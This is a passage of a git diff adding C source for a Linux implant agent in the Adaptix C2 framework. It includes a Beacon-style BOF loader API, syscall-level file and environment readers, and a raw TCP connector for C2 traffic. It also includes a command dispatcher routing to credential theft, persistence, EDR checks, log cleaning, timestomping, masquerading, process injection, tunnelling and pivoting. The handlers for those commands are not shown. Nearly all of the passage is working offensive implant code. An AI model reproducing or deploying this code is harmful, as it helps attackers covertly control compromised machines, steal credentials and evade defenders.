+ format->original = (char *)0;
+ format->buffer = (char *)0;
+ format->length = 0;
+ format->size = 0;
+}
+
+void BeaconFormatInt(formatp *format, int value) {
+ if (!format)
+ return;
+ if (format->length + 4 > format->size)
+ return;
+ unsigned int outdata = swap_endianness((unsigned int)value);
+ ax_memcpy(format->buffer, &outdata, 4);
+ format->length += 4;
+ format->buffer += 4;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Utility APIs
+/// ────────────────────────────────────────────────────────────────────────────
+
+int BeaconIsAdmin(void) {
+ return (sys_geteuid() == 0) ? 1 : 0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Async BOF context — set by elf_bof.c before calling BOF entry in async thread
+/// ────────────────────────────────────────────────────────────────────────────
+
+/// Opaque pointer to async_bof_arg_t (from elf_bof.c)
+/// Set to non-NULL only during async BOF execution, checked by BOF APIs.
+/// Thread safety: only one async BOF calls elf_bof_execute at a time per thread,
+/// and the main thread's sync BOFs run serially, so no race on this pointer.
+static volatile void *g_async_bof_ctx = (void *)0;
+static volatile int g_async_bof_stop_fd = -1; // read-end of stop_pipe
+
+void bof_set_async_ctx(void *ctx, int stop_fd) {
+ g_async_bof_ctx = ctx;
+ g_async_bof_stop_fd = stop_fd;
+}
+
+void bof_clear_async_ctx(void) {
+ g_async_bof_ctx = (void *)0;
+ g_async_bof_stop_fd = -1;
+}
+
+int bof_is_async(void) {
+ return g_async_bof_ctx != (void *)0;
+}
+
+void BeaconWakeup(void) {
+ // No-op on Linux: async BOF has its own C2 connection,
+ // output is sent directly without needing to wake the main thread.
+}
+
+int BeaconGetStopJobEvent(void) {
+ // Returns the read-end fd of the stop pipe.
+ // BOF can poll() this fd to check if kill was requested.
+ // Returns -1 if not in an async BOF context.
+ return (int)g_async_bof_stop_fd;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Adaptix extensions
+/// ────────────────────────────────────────────────────────────────────────────
+
+void AxDownloadMemory(char *filename, char *data, int len) {
+ // For now, encode as text output (full implementation would use TsDownloadSave)
+ if (!bof_output_initialized)
+ return;
+
+ char header[256];
+ ax_snprintf(header, sizeof(header), "[download] %s (%d bytes)\n", filename ? filename : "unknown", len);
+ int hlen = (int)ax_strlen(header);
+ buf_append(&bof_output_buf, header, hlen);
+
+ // TODO: implement proper file download via separate channel when needed
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Linux system primitives — exposed to BOFs via symbol table
+/// ────────────────────────────────────────────────────────────────────────────
+
+// File I/O wrappers
+int AxOpenFile(const char *path, int flags, int mode) {
+ if (!path) return -1;
+ return sys_open(path, flags, mode);
+}
+
+int AxCloseFile(int fd) {
+ if (fd < 0) return -1;
+ return sys_close(fd);
+}
+
+int AxReadFile(int fd, void *buf, int count) {
+ if (fd < 0 || !buf || count <= 0) return -1;
+ return (int)sys_read(fd, buf, (size_t)count);
+}
+
+// Convenience: read entire file into malloc'd buffer
+int AxReadFileToBuffer(const char *path, char **out_buf, int max_size) {
+ if (!path || !out_buf) return -1;
+ if (max_size <= 0) max_size = 1048576; // 1 MB default
+
+ int fd = sys_open(path, 0 /* O_RDONLY */, 0);
+ if (fd < 0) return -1;
+
+ char *buf = (char *)ax_malloc(max_size + 1);
+ if (!buf) {
+ sys_close(fd);
+ return -1;
+ }
+
+ int total = 0;
+ while (total < max_size) {
+ int n = (int)sys_read(fd, buf + total, max_size - total);
+ if (n <= 0) break;
+ total += n;
+ }
+ sys_close(fd);
+
+ buf[total] = '\0';
+ *out_buf = buf;
+ return total;
+}
+
+// File stat wrapper
+int AxFileStat(const char *path, unsigned int *out_mode, long *out_size,
+ unsigned int *out_uid, unsigned int *out_gid) {
+ if (!path) return -1;
+ struct linux_stat st;
+ int ret = sys_stat(path, &st);
+ if (ret != 0) return -1;
+ if (out_mode) *out_mode = st.st_mode;
+ if (out_size) *out_size = st.st_size;
+ if (out_uid) *out_uid = st.st_uid;
+ if (out_gid) *out_gid = st.st_gid;
+ return 0;
+}
+
+// Directory listing
+int AxOpenDir(const char *path) {
+ if (!path) return -1;
+ return sys_open(path, 0x10000 /* O_RDONLY | O_DIRECTORY */, 0);
+}
+
+int AxReadDir(int fd, void *buf, int bufsize) {
+ if (fd < 0 || !buf || bufsize <= 0) return -1;
+ return sys_getdents64(fd, buf, (unsigned int)bufsize);
+}
+
+// Memory
+void *AxMalloc(int size) {
+ if (size <= 0) return (void *)0;
+ return ax_malloc((size_t)size);
+}
+
+void AxFree(void *ptr) {
+ if (ptr) ax_free(ptr);
+}
+
+void *AxMemset(void *s, int c, int n) {
+ if (!s || n <= 0) return s;
+ return ax_memset(s, c, (size_t)n);
+}
+
+void *AxMemcpy(void *dst, const void *src, int n) {
+ if (!dst || !src || n <= 0) return dst;
+ return ax_memcpy(dst, src, (size_t)n);
+}
+
+// String operations
+int AxStrlen(const char *s) {
+ if (!s) return 0;
+ return (int)ax_strlen(s);
+}
+
+int AxStrcmp(const char *a, const char *b) {
+ if (!a || !b) return -1;
+ return ax_strcmp(a, b);
+}
+
+int AxStrncmp(const char *a, const char *b, int n) {
+ if (!a || !b || n <= 0) return -1;
+ return ax_strncmp(a, b, (size_t)n);
+}
+
+char *AxStrcpy(char *dst, const char *src) {
+ if (!dst || !src) return dst;
+ return ax_strcpy(dst, src);
+}
+
+char *AxStrncpy(char *dst, const char *src, int n) {
+ if (!dst || !src || n <= 0) return dst;
+ return ax_strncpy(dst, src, (size_t)n);
+}
+
+char *AxStrcat(char *dst, const char *src) {
+ if (!dst || !src) return dst;
+ return ax_strcat(dst, src);
+}
+
+char *AxStrstr(const char *haystack, const char *needle) {
+ if (!haystack || !needle) return (char *)0;
+ return ax_strstr(haystack, needle);
+}
+
+char *AxStrchr(const char *s, int c) {
+ if (!s) return (char *)0;
+ return ax_strchr(s, c);
+}
+
+// Formatted output
+int AxSnprintf(char *buf, int size, const char *fmt, ...) {
+ if (!buf || !fmt || size <= 0) return 0;
+ va_list args;
+ va_start(args, fmt);
+ int ret = ax_vsnprintf(buf, (size_t)size, fmt, args);
+ va_end(args);
+ return ret;
+}
+
+// Process info
+int AxGetPid(void) {
+ return sys_getpid();
+}
+
+int AxGetUid(void) {
+ return sys_getuid();
+}
+
+int AxGetEuid(void) {
+ return sys_geteuid();
+}
+
+// getcwd
+int AxGetCwd(char *buf, int size) {
+ if (!buf || size <= 0) return -1;
+ return sys_getcwd(buf, (size_t)size);
+}
+
+// getenv via /proc/self/environ
+int AxGetEnv(const char *name, char *out_buf, int out_size) {
+ if (!name || !out_buf || out_size <= 0) return -1;
+
+ char *env_data = (char *)0;
+ int env_len = AxReadFileToBuffer("/proc/self/environ", &env_data, 65536);
+ if (env_len <= 0 || !env_data) return -1;
+
+ int name_len = (int)ax_strlen(name);
+ int found = -1;
+
+ // /proc/self/environ entries are null-separated
+ int pos = 0;
+ while (pos < env_len) {
+ char *entry = env_data + pos;
+ int entry_len = 0;
+ while (pos + entry_len < env_len && entry[entry_len] != '\0')
+ entry_len++;
+
+ // Check if entry starts with "name="
+ if (entry_len > name_len + 1 &&
+ ax_strncmp(entry, name, name_len) == 0 &&
+ entry[name_len] == '=') {
+ char *val = entry + name_len + 1;
+ int val_len = entry_len - name_len - 1;
+ if (val_len >= out_size) val_len = out_size - 1;
+ ax_memcpy(out_buf, val, val_len);
+ out_buf[val_len] = '\0';
+ found = val_len;
+ break;
+ }
+
+ pos += entry_len + 1; // skip null separator
+ }
+
+ ax_free(env_data);
+ return found;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Symbol resolution table — used by elf_bof.c
+/// ────────────────────────────────────────────────────────────────────────────
+
+typedef struct {
+ const char *name;
+ void *func;
+} bof_api_entry_t;
+
+static bof_api_entry_t bof_api_table[] = {
+ // Data Parser
+ {"BeaconDataParse", (void *)BeaconDataParse},
+ {"BeaconDataInt", (void *)BeaconDataInt},
+ {"BeaconDataShort", (void *)BeaconDataShort},
+ {"BeaconDataLength", (void *)BeaconDataLength},
+ {"BeaconDataExtract", (void *)BeaconDataExtract},
+
+ // Output
+ {"BeaconOutput", (void *)BeaconOutput},
+ {"BeaconPrintf", (void *)BeaconPrintf},
+
+ // Format
+ {"BeaconFormatAlloc", (void *)BeaconFormatAlloc},
+ {"BeaconFormatReset", (void *)BeaconFormatReset},
+ {"BeaconFormatAppend", (void *)BeaconFormatAppend},
+ {"BeaconFormatPrintf", (void *)BeaconFormatPrintf},
+ {"BeaconFormatToString", (void *)BeaconFormatToString},
+ {"BeaconFormatFree", (void *)BeaconFormatFree},
+ {"BeaconFormatInt", (void *)BeaconFormatInt},
+
+ // Utility
+ {"BeaconIsAdmin", (void *)BeaconIsAdmin},
+
+ // Async BOF
+ {"BeaconWakeup", (void *)BeaconWakeup},
+ {"BeaconGetStopJobEvent",(void *)BeaconGetStopJobEvent},
+
+ // Adaptix
+ {"AxDownloadMemory", (void *)AxDownloadMemory},
+
+ // Linux system primitives
+ {"AxOpenFile", (void *)AxOpenFile},
+ {"AxCloseFile", (void *)AxCloseFile},
+ {"AxReadFile", (void *)AxReadFile},
+ {"AxReadFileToBuffer", (void *)AxReadFileToBuffer},
+ {"AxFileStat", (void *)AxFileStat},
+ {"AxOpenDir", (void *)AxOpenDir},
+ {"AxReadDir", (void *)AxReadDir},
+ {"AxMalloc", (void *)AxMalloc},
+ {"AxFree", (void *)AxFree},
+ {"AxMemset", (void *)AxMemset},
+ {"AxMemcpy", (void *)AxMemcpy},
+ {"AxStrlen", (void *)AxStrlen},
+ {"AxStrcmp", (void *)AxStrcmp},
+ {"AxStrncmp", (void *)AxStrncmp},
+ {"AxStrcpy", (void *)AxStrcpy},
+ {"AxStrncpy", (void *)AxStrncpy},
+ {"AxStrcat", (void *)AxStrcat},
+ {"AxStrstr", (void *)AxStrstr},
+ {"AxStrchr", (void *)AxStrchr},
+ {"AxSnprintf", (void *)AxSnprintf},
+ {"AxGetPid", (void *)AxGetPid},
+ {"AxGetUid", (void *)AxGetUid},
+ {"AxGetEuid", (void *)AxGetEuid},
+ {"AxGetCwd", (void *)AxGetCwd},
+ {"AxGetEnv", (void *)AxGetEnv},
+
+ // Sentinel
+ {(const char *)0, (void *)0}
+};
+
+/// Resolve a BOF symbol by name. Returns function pointer or NULL.
+void *bof_resolve_symbol(const char *name) {
+ if (!name)
+ return (void *)0;
+ for (int i = 0; bof_api_table[i].name != (const char *)0; i++) {
+ if (ax_strcmp(name, bof_api_table[i].name) == 0)
+ return bof_api_table[i].func;
+ }
+ return (void *)0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h
new file mode 100644
index 000000000..29d3e929e
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h
@@ -0,0 +1,115 @@
+/// bof_api.h — Linux Beacon API header for BOF authors
+/// This is the public API that BOF .o files link against.
+/// Compile BOFs with: gcc -c -o bof.o bof.c -include bof_api.h -Os -fPIC
+
+#ifndef LINUX_BEACON_API_H
+#define LINUX_BEACON_API_H
+
+/// ── Data parser types ──
+
+typedef struct {
+ char *original;
+ char *buffer;
+ int length;
+ int size;
+} datap;
+
+typedef struct {
+ char *original;
+ char *buffer;
+ int length;
+ int size;
+} formatp;
+
+/// ── Output types (CS-compatible) ──
+
+#define CALLBACK_OUTPUT 0x0
+#define CALLBACK_OUTPUT_OEM 0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR 0x0d
+
+/// ── Data Parser API ──
+
+void BeaconDataParse(datap *parser, char *buffer, int size);
+int BeaconDataInt(datap *parser);
+short BeaconDataShort(datap *parser);
+int BeaconDataLength(datap *parser);
+char *BeaconDataExtract(datap *parser, int *size);
+
+/// ── Output API ──
+
+void BeaconOutput(int type, const char *data, int len);
+void BeaconPrintf(int type, const char *fmt, ...);
+
+/// ── Format API ──
+
+void BeaconFormatAlloc(formatp *format, int maxsz);
+void BeaconFormatReset(formatp *format);
+void BeaconFormatAppend(formatp *format, const char *text, int len);
+void BeaconFormatPrintf(formatp *format, const char *fmt, ...);
+char *BeaconFormatToString(formatp *format, int *size);
+void BeaconFormatFree(formatp *format);
+void BeaconFormatInt(formatp *format, int value);
+
+/// ── Utility ──
+
+int BeaconIsAdmin(void);
+
+/// ── Async BOF APIs ──
+
+void BeaconWakeup(void);
+int BeaconGetStopJobEvent(void); // returns readable fd (-1 if not async)
+
+/// ── Adaptix extensions ──
+
+void AxDownloadMemory(char *filename, char *data, int len);
+
+/// ── Linux system primitives (Adaptix extensions) ──
+/// These expose the agent's nostdlib syscall wrappers to BOFs
+
+// File I/O
+int AxOpenFile(const char *path, int flags, int mode);
+int AxCloseFile(int fd);
+int AxReadFile(int fd, void *buf, int count);
+
+// File read helper — reads entire file into malloc'd buffer, returns bytes read (-1 on error)
+int AxReadFileToBuffer(const char *path, char **out_buf, int max_size);
+
+// File stat
+int AxFileStat(const char *path, unsigned int *out_mode, long *out_size, unsigned int *out_uid, unsigned int *out_gid);
+
+// Directory listing
+int AxOpenDir(const char *path);
+int AxReadDir(int fd, void *buf, int bufsize);
+
+// Memory
+void *AxMalloc(int size);
+void AxFree(void *ptr);
+void *AxMemset(void *s, int c, int n);
+void *AxMemcpy(void *dst, const void *src, int n);
+
+// String operations
+int AxStrlen(const char *s);
+int AxStrcmp(const char *a, const char *b);
+int AxStrncmp(const char *a, const char *b, int n);
+char *AxStrcpy(char *dst, const char *src);
+char *AxStrncpy(char *dst, const char *src, int n);
+char *AxStrcat(char *dst, const char *src);
+char *AxStrstr(const char *haystack, const char *needle);
+char *AxStrchr(const char *s, int c);
+
+// Formatted output
+int AxSnprintf(char *buf, int size, const char *fmt, ...);
+
+// Process info
+int AxGetPid(void);
+int AxGetUid(void);
+int AxGetEuid(void);
+
+// getcwd
+int AxGetCwd(char *buf, int size);
+
+// getenv equivalent — reads /proc/self/environ
+int AxGetEnv(const char *name, char *out_buf, int out_size);
+
+#endif // LINUX_BEACON_API_H
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c
new file mode 100644
index 000000000..df6569966
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c
@@ -0,0 +1,130 @@
+#include "commander.h"
+#include "crt.h"
+#include "tasks_fs.h"
+#include "tasks_proc.h"
+#include "tasks_linux.h"
+#include "tasks_async.h"
+#include "tasks_net.h"
+#include "tasks_opsec.h"
+#include "tasks_pivot.h"
+#include "pivot.h"
+#include "elf_bof.h"
+
+static int cmd_error(mp_writer_t* w, const char* msg);
+
+int handle_command(uint32_t code, uint32_t cmd_id,
+ const uint8_t* data, uint32_t data_len,
+ mp_writer_t* response) {
+ switch (code) {
+ // ── Filesystem commands ──
+ case COMMAND_PWD:
+ return task_pwd(response);
+ case COMMAND_CD:
+ return task_cd(data, data_len, response);
+ case COMMAND_CAT:
+ return task_cat(data, data_len, response);
+ case COMMAND_LS:
+ return task_ls(data, data_len, response);
+ case COMMAND_CP:
+ return task_cp(data, data_len, response);
+ case COMMAND_MV:
+ return task_mv(data, data_len, response);
+ case COMMAND_MKDIR:
+ return task_mkdir(data, data_len, response);
+ case COMMAND_RM:
+ return task_rm(data, data_len, response);
+
+ // ── Process commands ──
+ case COMMAND_PS:
+ return task_ps(response);
+ case COMMAND_KILL:
+ return task_kill(data, data_len, response);
+ case COMMAND_SHELL:
+ return task_shell(data, data_len, response);
+
+ // ── Linux-specific ──
+ case COMMAND_GETUID:
+ return task_getuid(response);
+ case COMMAND_ENV:
+ return task_env(response);
+ case COMMAND_NETSTAT:
+ return task_netstat(response);
+ case COMMAND_MOUNTS:
+ return task_mounts(response);
+ case COMMAND_EDR:
+ return task_edr(response);
+ case COMMAND_CREDS:
+ return task_creds(data, data_len, response);
+ case COMMAND_PERSIST:
+ return task_persist(data, data_len, response);
+ case COMMAND_CONTAINER:
+ return task_container(data, data_len, response);
+
+ // ── OPSEC commands ──
+ case COMMAND_MASQUERADE:
+ return task_masquerade(data, data_len, response);
+ case COMMAND_TIMESTOMP:
+ return task_timestomp(data, data_len, response);
+ case COMMAND_CLEANLOG:
+ return task_cleanlog(response);
+ case COMMAND_INJECT:
+ return task_inject(data, data_len, response);
+ case COMMAND_MIGRATE:
+ return task_migrate(response);
+
+ // ── Control ──
+ case COMMAND_EXIT:
+ return -99;
+
+ // ── Async/Job commands ──
+ case COMMAND_DOWNLOAD:
+ return task_download(data, data_len, response);
+ case COMMAND_UPLOAD:
+ return task_upload(data, data_len, response);
+ case COMMAND_RUN:
+ return task_run(data, data_len, response);
+ case COMMAND_JOB_LIST:
+ return task_job_list(response);
+ case COMMAND_JOB_KILL:
+ return task_job_kill(data, data_len, response);
+
+ // ── Network commands ──
+ case COMMAND_TUNNEL_START:
+ return task_tunnel_start(data, data_len, response);
+ case COMMAND_TUNNEL_WRITE:
+ return task_tunnel_write(data, data_len, response);
+ case COMMAND_TUNNEL_STOP:
+ return task_tunnel_stop(data, data_len, response);
+ case COMMAND_TUNNEL_PAUSE:
+ return task_tunnel_pause(data, data_len, response);
+ case COMMAND_TUNNEL_RESUME:
+ return task_tunnel_resume(data, data_len, response);
+ case COMMAND_TERMINAL_START:
+ return task_terminal_start(data, data_len, response);
+ case COMMAND_TERMINAL_STOP:
+ return task_terminal_stop(data, data_len, response);
+
+ // ── BOF commands ──
+ case COMMAND_EXEC_BOF:
+ return task_exec_bof(cmd_id, data, data_len, response);
+ case COMMAND_EXEC_BOF_ASYNC:
+ return task_exec_bof_async(cmd_id, data, data_len, response);
+
+ // ── Pivot commands ──
+ case COMMAND_LINK:
+ return task_link_with_id(cmd_id, data, data_len, response);
+ case COMMAND_UNLINK:
+ return task_unlink(data, data_len, response);
+ case COMMAND_PIVOT_EXEC:
+ return task_pivot_exec(data, data_len, response);
+
+ default:
+ return cmd_error(response, "Unknown command");
+ }
+}
+
+static int cmd_error(mp_writer_t* w, const char* msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h
new file mode 100644
index 000000000..6c571ab89
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h
@@ -0,0 +1,27 @@
+#ifndef COMMANDER_H
+#define COMMANDER_H
+
+#include "types.h"
+#include "msgpack.h"
+
+/// Process a list of commands received from the server.
+/// Input: array of msgpack-encoded Command structs.
+/// Output: array of msgpack-encoded response buffers.
+///
+/// Each Command has: {code: uint, id: uint, data: []byte}
+/// Response format depends on the command code.
+
+/// Process all commands from inMessage.Object.
+/// Returns msgpack-encoded array of response buffers.
+/// Caller must free the returned buffer.
+int process_commands(const uint8_t **commands, uint32_t *cmd_sizes,
+ uint32_t cmd_count,
+ buffer_t *out_responses, uint32_t *out_count);
+
+/// Process a single command, write response to writer.
+/// Returns 0 on success.
+int handle_command(uint32_t code, uint32_t cmd_id,
+ const uint8_t *data, uint32_t data_len,
+ mp_writer_t *response);
+
+#endif /* COMMANDER_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c
new file mode 100644
index 000000000..3851cd686
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c
@@ -0,0 +1,269 @@
+#include "connector.h"
+#include "crt.h"
+#include "types.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// Linux socket constants
+#define AF_INET 2
+#define SOCK_STREAM 1
+#define IPPROTO_TCP 6
+
+// sockaddr_in structure (manual — no libc headers)
+struct linux_sockaddr_in {
+ uint16_t sin_family;
+ uint16_t sin_port; // network byte order
+ uint32_t sin_addr; // network byte order
+ uint8_t sin_zero[8];
+};
+
+// Parse "host:port" string — host must be an IP address (no DNS resolution)
+// For Phase 1, we only support direct IP:port (DNS will come in Phase 2 with resolver)
+static int parse_address(const char* address, uint32_t* ip, uint16_t* port) {
+ const char* colon = (const char*)0;
+ for (const char* p = address; *p; p++) {
+ if (*p == ':') colon = p;
+ }
+ if (!colon) return -1;
+
+ // Parse IP: a.b.c.d
+ uint32_t octets[4] = {0};
+ int octet_idx = 0;
+ for (const char* p = address; p < colon && octet_idx < 4; p++) {
+ if (*p == '.') {
+ octet_idx++;
+ } else if (*p >= '0' && *p <= '9') {
+ octets[octet_idx] = octets[octet_idx] * 10 + (*p - '0');
+ } else {
+ return -1;
+ }
+ }
+ if (octet_idx != 3) return -1;
+ for (int i = 0; i < 4; i++) {
+ if (octets[i] > 255) return -1;
+ }
+
+ // Network byte order (big-endian)
+ *ip = (octets[0]) | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24);
+
+ // Parse port
+ *port = 0;
+ for (const char* p = colon + 1; *p >= '0' && *p <= '9'; p++) {
+ *port = *port * 10 + (*p - '0');
+ }
+ if (*port == 0) return -1;
+
+ // Convert port to network byte order (big-endian)
+ *port = ((*port >> 8) & 0xFF) | ((*port & 0xFF) << 8);
+
+ return 0;
+}
+
+int conn_open(connector_t* c, const char* address) {
+ uint32_t ip;
+ uint16_t port;
+
+ if (parse_address(address, &ip, &port) != 0)
+ return -1;
+
+ // Create TCP socket via direct syscall
+ int fd = (int)sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (fd < 0) return -1;
+
+ // Build sockaddr_in
+ struct linux_sockaddr_in addr;
+ ax_memset(&addr, 0, sizeof(addr));
+ addr.sin_family = AF_INET;
+ addr.sin_port = port;
+ addr.sin_addr = ip;
+
+ // Connect via direct syscall
+ if (sys_connect(fd, (const void*)&addr, sizeof(addr)) != 0) {
+ sys_close(fd);
+ return -1;
+ }
+
+ c->fd = fd;
+ return 0;
+}
+
+void conn_close(connector_t* c) {
+ if (c->fd >= 0) {
+ sys_close(c->fd);
+ c->fd = -1;
+ }
+}
+
+int conn_read_exact(connector_t* c, uint8_t* buf, size_t size) {
+ size_t total = 0;
+ while (total < size) {
+ long n = sys_read(c->fd, buf + total, size - total);
+ if (n <= 0) return -1;
+ total += (size_t)n;
+ }
+ return 0;
+}
+
+int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len) {
+ // Read 4-byte big-endian length
+ uint8_t len_buf[4];
+ if (conn_read_exact(c, len_buf, 4) != 0) return -1;
+
+ uint32_t msg_len = ((uint32_t)len_buf[0] << 24) | ((uint32_t)len_buf[1] << 16) |
+ ((uint32_t)len_buf[2] << 8) | len_buf[3];
+
+ if (msg_len == 0) {
+ *data = (uint8_t*)0;
+ *len = 0;
+ return 0;
+ }
+
+ // Sanity check: max 64MB
+ if (msg_len > 64 * 1024 * 1024) return -1;
+
+ *data = (uint8_t*)ax_malloc(msg_len);
+ if (!*data) return -1;
+
+ if (conn_read_exact(c, *data, msg_len) != 0) {
+ ax_free(*data);
+ *data = (uint8_t*)0;
+ return -1;
+ }
+
+ *len = msg_len;
+ return 0;
+}
+
+int conn_send_msg(connector_t* c, const uint8_t* data, size_t len) {
+ // Write 4-byte big-endian length + data
+ uint8_t header[4] = {
+ (uint8_t)(len >> 24), (uint8_t)(len >> 16),
+ (uint8_t)(len >> 8), (uint8_t)len
+ };
+
+ // Send header
+ size_t total = 0;
+ while (total < 4) {
+ long n = sys_write(c->fd, header + total, 4 - total);
+ if (n <= 0) return -1;
+ total += (size_t)n;
+ }
+
+ // Send data
+ total = 0;
+ while (total < len) {
+ long n = sys_write(c->fd, data + total, len - total);
+ if (n <= 0) return -1;
+ total += (size_t)n;
+ }
+
+ return 0;
+}
+
+int conn_discard(connector_t* c, size_t size) {
+ uint8_t tmp[1024];
+ size_t remaining = size;
+ while (remaining > 0) {
+ size_t chunk = remaining < sizeof(tmp) ? remaining : sizeof(tmp);
+ if (conn_read_exact(c, tmp, chunk) != 0) return -1;
+ remaining -= chunk;
+ }
+ return 0;
+}
+
+// fd_set manipulation for pselect6
+// Linux fd_set is an array of unsigned long bitmasks
+typedef struct {
+ unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))];
+} conn_fdset_t;
+
+static inline void conn_fd_zero(conn_fdset_t* set) {
+ for (unsigned i = 0; i < sizeof(set->fds_bits) / sizeof(set->fds_bits[0]); i++)
+ set->fds_bits[i] = 0;
+}
+
+static inline void conn_fd_set(int fd, conn_fdset_t* set) {
+ unsigned idx = (unsigned)fd / (8 * sizeof(unsigned long));
+ unsigned bit = (unsigned)fd % (8 * sizeof(unsigned long));
+ set->fds_bits[idx] |= (1UL << bit);
+}
+
+static inline int conn_fd_isset(int fd, conn_fdset_t* set) {
+ unsigned idx = (unsigned)fd / (8 * sizeof(unsigned long));
+ unsigned bit = (unsigned)fd % (8 * sizeof(unsigned long));
+ return (set->fds_bits[idx] & (1UL << bit)) != 0;
+}
+
+int conn_poll_read(connector_t* c, int timeout_ms) {
+ if (c->fd < 0) return -1;
+
+ conn_fdset_t rfds;
+ conn_fd_zero(&rfds);
+ conn_fd_set(c->fd, &rfds);
+
+ struct linux_timespec ts;
+ ts.tv_sec = timeout_ms / 1000;
+ ts.tv_nsec = (long)(timeout_ms % 1000) * 1000000L;
+
+ int ret = sys_pselect6(c->fd + 1, (void*)&rfds, (void*)0, (void*)0, &ts, (void*)0);
+ if (ret < 0) return -1; // error
+ if (ret == 0) return 0; // timeout
+ return 1; // data available
+}
+
+int conn_recv_msg_timeout(connector_t* c, uint8_t** data, size_t* len, int timeout_ms) {
+ *data = (uint8_t*)0;
+ *len = 0;
+
+ int poll = conn_poll_read(c, timeout_ms);
+ if (poll <= 0) return poll; // 0 = timeout, -1 = error
+
+ // Data available — do blocking recv (data is ready)
+ return conn_recv_msg(c, data, len);
+}
+
+// Socket option constants
+#define SOL_SOCKET 1
+#define SO_REUSEADDR 2
+
+int conn_bind_listen(connector_t* server, uint16_t port) {
+ int fd = (int)sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (fd < 0) return -1;
+
+ // SO_REUSEADDR — allow quick rebind after disconnect
+ int opt = 1;
+ sys_setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
+
+ // Bind to 0.0.0.0:port
+ struct linux_sockaddr_in addr;
+ ax_memset(&addr, 0, sizeof(addr));
+ addr.sin_family = AF_INET;
+ addr.sin_port = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8); // host→network byte order
+ addr.sin_addr = 0; // INADDR_ANY
+
+ if (sys_bind(fd, (const void*)&addr, sizeof(addr)) != 0) {
+ sys_close(fd);
+ return -1;
+ }
+
+ if (sys_listen(fd, 1) != 0) {
+ sys_close(fd);
+ return -1;
+ }
+
+ server->fd = fd;
+ return 0;
+}
+
+int conn_accept(connector_t* client, connector_t* server) {
+ int fd = sys_accept(server->fd, (void*)0, (void*)0);
+ if (fd < 0) return -1;
+
+ client->fd = fd;
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h
new file mode 100644
index 000000000..867259dd4
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h
@@ -0,0 +1,53 @@
+#ifndef CONNECTOR_H
+#define CONNECTOR_H
+
+#include
+#include
+
+/// TCP connector for C2 communication
+/// Protocol: [4-byte BE length][payload]
+/// Matches Go's functions.SendMsg/RecvMsg
+
+typedef struct {
+ int fd;
+} connector_t;
+
+/// Connect to address "host:port" via TCP.
+/// Returns 0 on success, -1 on failure.
+int conn_open(connector_t *c, const char *address);
+
+/// Close connection.
+void conn_close(connector_t *c);
+
+/// Read exactly `size` bytes.
+int conn_read_exact(connector_t *c, uint8_t *buf, size_t size);
+
+/// Receive a length-prefixed message.
+/// Allocates buffer, sets *data and *len.
+/// Caller must free *data with ax_free().
+int conn_recv_msg(connector_t *c, uint8_t **data, size_t *len);
+
+/// Send a length-prefixed message.
+int conn_send_msg(connector_t *c, const uint8_t *data, size_t len);
+
+/// Read and discard `size` bytes (for banner).
+int conn_discard(connector_t *c, size_t size);
+
+/// Check if data is available for reading within `timeout_ms` milliseconds.
+/// Returns: 1 = data available, 0 = timeout (no data), -1 = error/closed
+int conn_poll_read(connector_t *c, int timeout_ms);
+
+/// Receive a length-prefixed message with timeout.
+/// Returns: 0 = message received, 1 = timeout (no data), -1 = error
+int conn_recv_msg_timeout(connector_t *c, uint8_t **data, size_t *len, int timeout_ms);
+
+/// Bind TCP: create socket, bind to port, listen.
+/// Returns 0 on success (server->fd set), -1 on failure.
+int conn_bind_listen(connector_t *server, uint16_t port);
+
+/// Accept a connection on a listening socket.
+/// Blocks until a client connects. Sets client->fd.
+/// Returns 0 on success, -1 on failure.
+int conn_accept(connector_t *client, connector_t *server);
+
+#endif /* CONNECTOR_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c
new file mode 100644
index 000000000..cd152afc0
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c
@@ -0,0 +1,293 @@
+#include "crt.h"
+#include "types.h"
+
+// Include arch-specific syscall wrappers
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// Linux mmap constants
+#define PROT_READ 0x1
+#define PROT_WRITE 0x2
+#define MAP_PRIVATE 0x02
+#define MAP_ANONYMOUS 0x20 // Linux: 0x20 (macOS: 0x1000)
+#define MAP_FAILED ((void*)-1)
